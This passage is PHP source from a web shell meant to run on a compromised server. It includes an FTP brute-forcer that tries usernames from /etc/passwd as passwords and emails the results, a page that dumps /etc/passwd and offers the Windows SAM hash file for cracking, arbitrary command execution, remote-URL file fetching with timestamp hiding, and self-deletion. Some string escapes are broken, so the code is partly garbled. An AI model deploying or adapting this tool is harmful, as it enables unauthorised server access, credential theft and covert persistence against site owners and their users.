      $sock = @ftp_connect($host,$port,$timeout);
      if (@ftp_login($sock,$login,$pass)) {
        echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
        ob_flush();
        return TRUE;
      }
    }
  }
  if (!empty($submit)) {
    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
    $fp = fopen("/etc/passwd","r");
    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
    else {
      if ($fqb_logging) {
        if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
        else {$fqb_logfp = FALSE;}
        $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."

";
        if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
      }
      ob_flush();
      $i = $success = 0;
      $ftpquick_st = getmicrotime();
      while(!feof($fp)) {
        $str = explode(":",fgets($fp,2048));
        if (caftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
          echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
          $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."
";
          if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
          $success++;
          ob_flush();
        }
        if ($i > $fqb_lenght) {break;}
        $i++;
      }
      if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!
";}
      $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
      echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
      $fqb_log .= "
------------------------------------------
Done!
Total time (secs.): ".$ftpquick_t."
Total connections: ".$i."
Success.: ".$success."
Unsuccess.:".($i-$success)."
Connects per second: ".round($i/$ftpquick_t,2)."
";
      if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
      if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
      fclose($fqb_logfp);
    }
  }
  else {
    $logfile = $tmpdir_logs."ca_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
    echo "<form action=\"".$surl."\"><input type=hidden name=x value=\"ftpquickbrute\">".
         "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
         "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
         "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
         "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
         "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
         "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
  }
  echo "</td></tr></table></center>";
}
}
if ($x == "d") {
if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
else {
  echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  if (!$win) {
   echo "<tr><td><b>Owner/Group</b></td><td> ";
   $ow = posix_getpwuid(fileowner($d));
   $gr = posix_getgrgid(filegroup($d));
   $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  }
  echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
}
}
if ($x == "phpinfo") {@ob_clean(); phpinfo(); capriv8exit();}
if ($x == "security") {
  echo "<div class=barheader>.: Server Security Information :.</div>".
       "<table>".
       "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>";
  echo "<td>Password File</td><td>";
  if (!$win) {
    if ($nixpasswd) {
      if ($nixpasswd == 1) {$nixpasswd = 0;}
      echo "*nix /etc/passwd:<br>";
      if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
      if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
      echo "<form action=\"".$surl."\"><input type=hidden name=x value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
      $i = $nixpwd_s;
      while ($i < $nixpwd_e) {
        $uid = posix_getpwuid($i);
        if ($uid) {
          $uid["dir"] = "<a href=\"".$surl."x=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
          echo join(":",$uid)."<br>";
        }
        $i++;
      }
    }
    else {echo "<a href=\"".$surl."x=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a>";}
  }
  else {
    $v = $_SERVER["WINDIR"]."
epair\sam";
    if (file_get_contents($v)) {echo "<td colspan=2><div class=fxerrmsg>You can't crack Windows passwords(".$v.")</div></td></tr>"; }
    else {echo "You can crack Windows passwords. <a href=\"".$surl."x=f&f=sam&d=".$_SERVER["WINDIR"]."
epair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";}
  }
  echo "</td></tr>";
  echo "<tr><td>Config Files</td><td>";
  if (!$win) {
    $v = array(
        array("User Domains","/etc/userdomains"),
        array("Cpanel Config","/var/cpanel/accounting.log"),
        array("Apache Config","/usr/local/apache/conf/httpd.conf"),
        array("Apache Config","/etc/httpd.conf"),
        array("Syslog Config","/etc/syslog.conf"),
        array("Message of The Day","/etc/motd"),
        array("Hosts","/etc/hosts")
    );
    $sep = "/";
  }
  else {
    $windir = $_SERVER["WINDIR"];
    $etcdir = $windir . "\system32\drivers\etc\";
    $v = array(
        array("Hosts",$etcdir."hosts"),
        array("Local Network Map",$etcdir."networks"),
        array("LM Hosts",$etcdir."lmhosts.sam"),
    );
    $sep = "\";
  }
  foreach ($v as $sec_arr) {
    $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
    $sec_d = rtrim($sec_arr[1],$sec_f);
    $sec_full = $sec_d.$sec_f;
    $sec_d = rtrim($sec_d,$sep);
    if (file_get_contents($sec_full)) {
      echo " [ <a href=\"".$surl."x=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><u><b>".$sec_arr[0]."</b></u></a> ] ";
    }
  }
  echo "</td></tr>";

  function displaysecinfo($name,$value) {
    if (!empty($value)) {
      echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>";
    }
  }
  if (!$win) {
    displaysecinfo("OS Version",myshellexec("cat /proc/version"));
    displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version"));
    displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net"));
    displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise"));
    displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo"));
    displaysecinfo("RAM",myshellexec("free -m"));
    displaysecinfo("HDD Space",myshellexec("df -h"));
    displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
    displaysecinfo("Mount Options",myshellexec("cat /etc/fstab"));
    displaysecinfo("cURL installed?",myshellexec("which curl"));
    displaysecinfo("lynx installed?",myshellexec("which lynx"));
    displaysecinfo("links installed?",myshellexec("which links"));
    displaysecinfo("fetch installed?",myshellexec("which fetch"));
    displaysecinfo("GET installed?",myshellexec("which GET"));
    displaysecinfo("perl installed?",myshellexec("which perl"));
    displaysecinfo("Where is Apache?",myshellexec("whereis apache"));
    displaysecinfo("Where is perl?",myshellexec("whereis perl"));
    displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf"));
    displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf"));
    displaysecinfo("Locate my.conf",myshellexec("locate my.conf"));
    displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf"));
  }
  else {
    displaysecinfo("OS Version",myshellexec("ver"));
    displaysecinfo("Account Settings",myshellexec("net accounts"));
  }
  echo "</table>
";
}
if ($x == "mkfile") {
if ($mkfile != $d) {
  if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object already exists!";}
  elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied!";}
  else {$x = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$x = $dspact = "ls";}
}
if ($x == "encoder") {
echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
     "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
     "<input type=hidden name=x value=encoder>".
     "<center><table class=contents>".
     "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
     "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
     "<input type=submit value=\"calculate\"></td></tr>".
     "<tr><td rowspan=4>Hashes:</td>";
foreach(array("md5","crypt","sha1","crc32") as $v) {
  echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
}
echo "</tr>".
     "<tr><td rowspan=2>Url:</td>".
     "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
     "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
     "<tr><td rowspan=2>Base64:</td>".
     "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
     "<tr><td>base64_decode:</td><td>";
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
else {
  $debase64 = base64_decode($encoder_input);
  $debase64 = str_replace("","[0]",$debase64);
  $a = explode("
",$debase64);
  $rows = count($a);
  $debase64 = htmlspecialchars($debase64);
  if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
  else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
  echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
}
echo "</td></tr>".
     "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
$c = strlen($encoder_input);
for($i=0;$i<$c;$i++) {
  $hex = dechex(ord($encoder_input[$i]));
  if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  elseif ($encoder_input[$i] != "\") {echo "%".$hex;}
}
echo "\" readonly></td></tr></table></center></form>";
}
if ($x == "fsbuff") {
  $arr_copy = $sess_data["copy"];
  $arr_cut = $sess_data["cut"];
  $arr = array_merge($arr_copy,$arr_cut);
  if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
  else {
    $fx_infohead = "File-System Buffer";
    $ls_arr = $arr;
    $disp_fullpath = TRUE;
    $x = "ls";
  }
}
if ($x == "selfremove") {
  if (($submit == $rndcode) and ($submit != "")) {
    if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ".$sh_name."!"; capriv8exit(); }
    else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
  }
  else {
    if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
    $rnd = rand(0,9).rand(0,9).rand(0,9);
    echo "<form action=\"".$surl."\"><input type=hidden name=x value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>";
  }
}

if ($x == "search") {
  echo "<div class=barheader>.: $sh_name File-System Search :.</div>";
  if (empty($search_in)) {$search_in = $d;}
  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  if (!empty($submit)) {
    $found = array();
    $found_d = 0;
    $found_f = 0;
    $search_i_f = 0;
    $search_i_d = 0;
    $a = array(
        "name"=>$search_name,
        "name_regexp"=>$search_name_regexp,
        "text"=>$search_text,
        "text_regexp"=>$search_text_regxp,
        "text_wwo"=>$search_text_wwo,
        "text_cs"=>$search_text_cs,
        "text_not"=>$search_text_not
    );
    $searchtime = getmicrotime();
    $in = array_unique(explode(";",$search_in));
    foreach($in as $v) {cafsearch($v);}
    $searchtime = round(getmicrotime()-$searchtime,4);
    if (count($found) == 0) {echo "No files found!";}
    else {
      $ls_arr = $found;
      $disp_fullpath = TRUE;
      $x = "ls";
    }
  }
  echo "<table class=contents>".
       "<tr><td><form method=POST>".
       "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=x value=\"".$dspact."\">".
       "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>".
       "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>".
       "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>".
       "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression".
       "  <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only".
       "  <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive".
       "  <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>".
       "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>".
       "</table>";
  if ($x == "ls") {
    $dspact = $x;
    echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>".
         "<hr size=\"1\" noshade>";
  }
}
if ($x == "chmod") {
  $mode = fileperms($d.$f);
  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  else {
    $form = TRUE;
    if ($chmod_submit)
  {
   $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
   if (chmod($d.$f,$octet)) {$x = "ls"; $form = FALSE; $err = "";}
   else {$err = "Can't chmod to ".$octet.".";}
  }
  if ($form)
  {
   $perms = parse_perms($mode);
   echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=x value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  }
}
}
if ($x == "upload") {
  $uploadmess = "";
  $uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);
  if (empty($uploadpath)) {$uploadpath = $d;}
  elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
  if (!empty($submit)) {
    global $_FILES;
    $uploadfile = $_FILES["uploadfile"];
    if (!empty($uploadfile["tmp_name"])) {
      if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
      else {$destin = $userfilename;}
      if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
        $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
      }
      else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
    }
    elseif (!empty($uploadurl)) {
      if (!empty($uploadfilename)) {$destin = $uploadfilename;}
      else {
        $destin = explode("/",$destin);
        $destin = $destin[count($destin)-1];
        if (empty($destin)) {
          $i = 0;
          $b = "";
          while(file_exists($uploadpath.$destin)) {
            if ($i > 0) {$b = "_".$i;}
            $destin = "upload".$b;
            $i++;
          }
        }
      }
      if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
      else {
        $st = getmicrotime();
        $content = @file_get_contents($uploadurl);
        $dt = round(getmicrotime()-$st,4);
        if (!$content) {$uploadmess .=  "Can't download file!";}
        else {
          if ($filestealth) {$stat = stat($uploadpath.$destin);}
          $fp = fopen($uploadpath.$destin,"w");
          if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
          else {
            fwrite($fp,$content,strlen($content));
            fclose($fp);
            if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
            $uploadmess .= "File saved from ".$uploadurl." !";
          }
        }
      }
    }
    else { echo "No file to upload!"; }
  }
  if ($miniform) {
    echo "<b>".$uploadmess."</b>";
    $x = "ls";
  }
  else {
    echo "<table><tr><td colspan=2 class=barheader>".
         ".: File Upload :.</td>".
         "<td colspan=2>".$uploadmess."</td></tr>".
         "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."x=upload&d=".urlencode($d)."\" method=POST>".
         "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
         "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
         "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
         "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
         "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
         "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
         "</form></td></tr></table>";
  }
}
if ($x == "delete") {
  $delerr = "";
  foreach ($actbox as $v) {
    $result = FALSE;
    $result = fs_rmobj($v);
    if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  }
  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  $x = "ls";
}
if (!$usefsbuff) {
  if (($x == "paste") or ($x == "copy") or ($x == "cut") or ($x == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";}
}
else {
  if ($x == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ca_sess_put($sess_data); $x = "ls"; }
  elseif ($x == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ca_sess_put($sess_data); $x = "ls";}
  elseif ($x == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ca_sess_put($sess_data); $x = "ls";}
  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ca_sess_put($sess_data);}
  elseif ($actpastebuff) {
    $psterr = "";
    foreach($sess_data["copy"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
      if ($copy_unset) {unset($sess_data["copy"][$k]);}
    }
    foreach($sess_data["cut"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
      unset($sess_data["cut"][$k]);
    }
    ca_sess_put($sess_data);
    if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
    $x = "ls";
  }
  elseif ($actarcbuff) {
    $arcerr = "";
    if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
    else {$ext = ".tar.gz";}
    if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
    $cmdline .= " ".$actarcbuff_path;
    $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
    foreach($objects as $v) {
      $v = str_replace("\",DIRECTORY_SEPARATOR,$v);
      if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
      if (is_dir($v)) {
        if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
        $v .= "*";
      }
      $cmdline .= " ".$v;
    }
    $tmp = realpath(".");
    chdir($d);
    $ret = myshellexec($cmdline);
    chdir($tmp);
    if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
    $ret = str_replace("
","
",$ret);
    $ret = explode("
",$ret);
    if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
    foreach($sess_data["cut"] as $k=>$v) {
      if (in_array($v,$ret)) {fs_rmobj($v);}
      unset($sess_data["cut"][$k]);
    }
    ca_sess_put($sess_data);
    if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
    $x = "ls";
  }
  elseif ($actpastebuff) {
    $psterr = "";
    foreach($sess_data["copy"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
      if ($copy_unset) {unset($sess_data["copy"][$k]);}
    }
    foreach($sess_data["cut"] as $k=>$v) {
      $to = $d.basename($v);
      if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
      unset($sess_data["cut"][$k]);
    }
    ca_sess_put($sess_data);
    if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
    $x = "ls";
  }
}
if ($x == "cmd") {
  @chdir($chdir);
  if (!empty($submit)) {
    echo "<div class=barheader>.: Result of Command Execution :.</div>";
    $olddir = realpath(".");
    @chdir($d);
    $ret = myshellexec($cmd);
    $ret = convert_cyr_string($ret,"d","w");
    if ($cmd_txt) {
      $rows = count(explode("
",$ret))+1;
      if ($rows < 10) {$rows = 10; }
      if ($msie) { $cols = 113; }
      else { $cols = 117;}
      echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
    }
    else {echo $ret."<br>";}
    @chdir($olddir);
  }
  else {
    echo "<b>Command Execution</b>";
    if (empty($cmd_txt)) {$cmd_txt = TRUE;}
  }
}
if ($x == "ls") {
  if (count($ls_arr) > 0) { $list = $ls_arr; }
  else {
    $list = array();
    if ($h = @opendir($d)) {
      while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
      closedir($h);
    }
  }
  if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
  else {
    $objects = array();
    $vd = "f"; 
    if ($vd == "f") {
      $objects["head"] = array();
      $objects["folders"] = array();
      $objects["links"] = array();
      $objects["files"] = array();
      foreach ($list as $v) {
        $o = basename($v);
        $row = array();
        if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
        elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
        elseif (is_dir($v)) {
          if (is_link($v)) {$type = "LINK";}
          else {$type = "DIR";}
          $row[] = $v;
          $row[] = $type;
        }
        elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
        $row[] = filemtime($v);
        if (!$win) {
          $ow = posix_getpwuid(fileowner($v));
          $gr = posix_getgrgid(filegroup($v));
          $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
        }
        $row[] = fileperms($v);
        if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
        elseif (is_link($v)) {$objects["links"][] = $row;}
        elseif (is_dir($v)) {$objects["folders"][] = $row;}
        elseif (is_file($v)) {$objects["files"][] = $row;}
        $i++;
      }
      $row = array();
      $row[] = "<b>Name</b>";
      $row[] = "<b>Size</b>";
      $row[] = "<b>Date Modified</b>";
      if (!$win) {$row[] = "<b>Owner/Group</b>";}
      $row[] = "<b>Perms</b>";
      $row[] = "<b>Action</b>";
      $parsesort = parsesort($sort);
      $sort = $parsesort[0].$parsesort[1];
      $k = $parsesort[0];
      if ($parsesort[1] != "a") {$parsesort[1] = "d";}
      $y = " <a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
      $y .= "<img src=\"".$surl."x=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
      $row[$k] .= $y;
      for($i=0;$i<count($row)-1;$i++) {
        if ($i != $k) {$row[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
      }
      $v = $parsesort[0];
      usort($objects["folders"], "tabsort");
      usort($objects["links"], "tabsort");
      usort($objects["files"], "tabsort");
      if ($parsesort[1] == "d") {
        $objects["folders"] = array_reverse($objects["folders"]);
        $objects["files"] = array_reverse($objects["files"]);
      }
      $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
      $tab = array();
      $tab["cols"] = array($row);
      $tab["head"] = array();
      $tab["folders"] = array();
      $tab["links"] = array();
      $tab["files"] = array();
      $i = 0;
      foreach ($objects as $a) {
        $v = $a[0];
        $o = basename($v);
        $dir = dirname($v);
        if ($disp_fullpath) {$disppath = $v;}
        else {$disppath = $o;}
        $disppath = str2mini($disppath,60);
        if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
        elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
        foreach ($regxp_highlight as $r) {
          if (ereg($r[0],$o)) {
            if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; capriv8exit();}
            else {
              $r[1] = round($r[1]);
              $isdir = is_dir($v);
              if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
                if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
                $disppath = $r[2].$disppath.$r[3];
                if ($r[4]) {break;}
              }
            }
          }
        }
        $uo = urlencode($o);
        $ud = urlencode($dir);
        $uv = urlencode($v);
        $row = array();
        if ($o == ".") {
